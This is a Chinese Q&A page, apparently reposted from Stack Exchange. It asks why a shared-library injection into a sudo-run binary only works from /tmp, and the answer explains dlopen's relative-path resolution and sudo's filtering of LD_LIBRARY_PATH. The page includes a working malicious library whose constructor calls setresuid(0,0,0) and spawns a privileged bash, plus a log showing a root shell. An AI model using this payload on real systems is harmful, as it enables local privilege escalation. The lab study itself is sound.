You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何设置LD_LIBRARY_PATH后需在库目录执行才能注入共享库?

问题描述

我尝试通过设置LD_LIBRARY_PATH环境变量,让高权限二进制程序加载指定目录下的共享库,相关文件及操作如下:

目标二进制程序(/home/kali/Desktop/jump)

权限:-rwxr-xr-x 1 root root jump
代码(jump.c):

#include <stdio.h>
#include <dlfcn.h>

int main() {
    // 尝试打开库
    void *handle = dlopen("./mylib.so", RTLD_LAZY);

    if (!handle) {
        printf("[-] 库未找到\n");
        return 1;
    }
    else {
        printf("[+] 库已加载\n");
    }

    dlclose(handle);
    return 0;
}

恶意共享库代码(/tmp/lib.c)

#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

编译命令

gcc -o /tmp/mylib.so -shared -fPIC /tmp/lib.c

执行现象

当在~/Desktop目录执行命令时,加载失败:

┌──(kali㉿kali)-[~/Desktop]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
[-] 库未找到

切换到/tmp目录后执行相同命令,注入成功:

┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp               

┌──(kali㉿kali)-[/tmp]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
┌──(root㉿kali)-[/tmp]
└─# id
uid=0(root) gid=0(root) groups=0(root)

┌──(root㉿kali)-[/tmp]
└─# exit
exit
[+] 库已加载

问题:为什么会出现这种差异?


原因分析

核心问题出在dlopen的路径解析逻辑和sudo的安全机制上:

  1. 相对路径的解析规则
    你在jump程序里用的是dlopen("./mylib.so", ...),这里的./是相对于程序运行时的当前工作目录(CWD),和程序本身的存放目录、LD_LIBRARY_PATH都没关系。

    • 在~/Desktop执行时,当前工作目录是~/Desktop,程序会在这个目录下找mylib.so,自然找不到;
    • 切换到/tmp后,当前工作目录就是mylib.so的存放位置,所以能直接找到并加载。
  2. sudo的环境变量过滤
    你设置的LD_LIBRARY_PATH=/tmp其实根本没生效——sudo默认会过滤这类可能用于恶意注入的环境变量,属于安全防护机制。你能成功加载库,完全是因为当前工作目录刚好是库所在的位置,和LD_LIBRARY_PATH无关。

    可以做个验证:把mylib.so放到任意其他目录(比如/home/kali/test),切换到该目录后执行sudo /home/kali/Desktop/jump,同样能成功加载,根本不需要设置LD_LIBRARY_PATH。

内容的提问来源于stack exchange,提问作者Federico Angarella

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.13 00:23:12